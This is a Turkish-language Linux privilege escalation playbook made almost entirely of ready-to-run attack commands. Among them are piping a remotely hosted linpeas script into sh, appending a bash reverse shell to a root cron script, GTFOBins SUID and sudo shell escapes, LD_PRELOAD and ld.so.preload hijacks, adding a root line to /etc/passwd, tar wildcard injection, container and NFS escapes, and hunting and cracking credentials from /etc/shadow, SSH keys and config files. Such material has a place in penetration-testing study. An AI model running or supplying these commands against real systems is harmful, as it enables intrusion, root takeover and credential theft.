Privilege Escalation Playbook

Attacker’da: python3 -m http.server 80. Sonra hedefte indir & çalıştır.

curl http://<LHOST>/linpeas.sh | sh

Kim, hangi haklar, çekirdek, dağıtım — 10 saniyelik ilk bakış.

id; sudo -l; uname -a; cat /etc/os-release; hostname

setuid bitli dosyalar — GTFOBins ile root olabilir.

find / -perm -4000 -type f 2>/dev/null

cap_setuid/cap_dac gibi tehlikeli yetenekler.

getcap -r / 2>/dev/null

Root’un çalıştırdığı yazılabilir script’leri ara.

cat /etc/crontab; ls -la /etc/cron*; crontab -l 2>/dev/null

Root cron/process’lerini root olmadan gözlemle (gizli işleri yakala).

./pspy64 -pf -i 1000

NOPASSWD veya izinli binary’ler burada görünür.

sudo -l

İzinli binary’yi GTFOBins yöntemiyle kabuğa çevir.

sudo find . -exec /bin/sh \; -quit

sudo -l’de LD_PRELOAD korunuyorsa: kötü .so derle, yükle. (shell.c: _init() setuid(0)+system("/bin/bash"))

sudo LD_PRELOAD=/tmp/shell.so <BINARY>

Baron Samedit (CVE-2021-3156) < 1.9.5p2. Sürümü kontrol et.

sudo -V | head -1   # savunmasızsa exploit: sudoedit -s /

sudo -l “(ALL) ALL” gösteriyorsa doğrudan root.

sudo su -   # veya: sudo /bin/bash

sudo bir script çağırıyor ve SETENV varsa PATH’i ele geçir.

sudo PATH=/tmp:$PATH <BINARY>

SUID binary’yi -p ile ayrıcalığı koruyarak kabuğa çevir (GTFOBins “SUID”).

/usr/bin/find . -exec /bin/sh -p \; -quit

getcap python’da cap_setuid gösteriyorsa doğrudan root.

/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'

Yaygın SUID binary’lerin -p ile shell yöntemleri (gtfobins.github.io “SUID”).

less: !/bin/sh   |   awk: awk "BEGIN{system(\"/bin/sh -p\")}"   |   tar: tar -cf x x --checkpoint=1 --checkpoint-action=exec=/bin/sh   |   env: env /bin/sh -p

SUID binary yazılabilir/eksik bir .so yüklüyorsa (strace ile bak) kötü kütüphane koy.

strace <BINARY> 2>&1 | grep -iE "open|access|No such file" | grep "\.so"

Standart olmayan bir SUID binary varsa bilinen exploit ara.

searchsploit <BINARY>

Root cron bir yazılabilir script çağırıyorsa reverse shell ekle.

echo 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1' >> /path/to/writable_script.sh

Cron/SUID relative bir komut çağırıyorsa yazılabilir PATH dizinine sahte binary koy.

echo -e "#!/bin/bash\ncp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash" > /tmp/<NAME>; chmod +x /tmp/<NAME>; export PATH=/tmp:$PATH

/etc/passwd yazılabiliyorsa parolalı root satırı ekle.

openssl passwd -1 -salt hax pass123   # sonra: echo 'r00t:<HASH>:0:0:root:/root:/bin/bash' >> /etc/passwd

Root cron “tar *” gibi çalışıyorsa yazılabilir dizinde checkpoint dosyaları bırak.

echo "" > "--checkpoint=1"; echo "" > "--checkpoint-action=exec=sh runme.sh"; printf "chmod +s /bin/bash" > runme.sh

Yazılabiliyorsa kötü .so’yu global preload et → her root süreci onu yükler.

echo /tmp/shell.so > /etc/ld.so.preload

Root çalıştıran .service/.timer üzerinde yazma hakkı varsa ExecStart’ı değiştir.

find /etc/systemd/ -writable 2>/dev/null; systemctl list-timers

Çekirdek sürümüne göre bilinen LPE exploit.

uname -r; searchsploit linux kernel $(uname -r | cut -d- -f1)

Neredeyse tüm sistemlerde çalışan pkexec LPE.

./PwnKit   # veya: searchsploit pkexec

Attacker’da export’u mount et, SUID root binary planla.

showmount -e <TARGET_IP>   # attacker: mount -o rw <TARGET_IP>:/share /mnt; cp /bin/bash /mnt; chmod +s /mnt/bash

Kullanıcı docker/lxd grubundaysa doğrudan root.

docker run -v /:/mnt --rm -it alpine chroot /mnt sh   # id ile grupları kontrol et

Kernel 5.8–5.16.11: rastgele dosya üzerine yazma → root.

uname -r   # 5.8–5.16.11 ise: searchsploit dirtypipe

disk grubundaysan debugfs ile ham diskten /etc/shadow oku.

debugfs /dev/sda1 -R "cat /etc/shadow"

lxd grubundaysan host FS’i mount eden privileged container başlat.

lxc init alpine r00t -c security.privileged=true; lxc config device add r00t host disk source=/ path=/mnt/root; lxc start r00t; lxc exec r00t /bin/sh

Web kökü, config ve home’da düz metin parola.

grep -riE "password|passwd|secret|api[_-]?key" /var/www /etc /home /opt 2>/dev/null

Komut geçmişi ve uygulama config’leri.

cat ~/.bash_history; find / -name "*.env" -o -name "wp-config.php" -o -name "config.php" 2>/dev/null

Diğer kullanıcı/host için id_rsa.

find / -name "id_rsa" -o -name "authorized_keys" 2>/dev/null

/etc/shadow okunabiliyorsa unshadow + kır.

unshadow /etc/passwd /etc/shadow > crack.txt; john --wordlist=/usr/share/wordlists/rockyou.txt crack.txt

MySQL/PSQL geçmişi ve .cnf dosyalarında parola.

cat ~/.mysql_history 2>/dev/null; find / -name "*.cnf" 2>/dev/null | xargs grep -iH pass 2>/dev/null

Bulduğun parolayı su ile diğer kullanıcılarda dene (parola tekrarı yaygın).

cat /etc/passwd | grep -E "sh$"; su <USERNAME>   # bulunan parolayı dene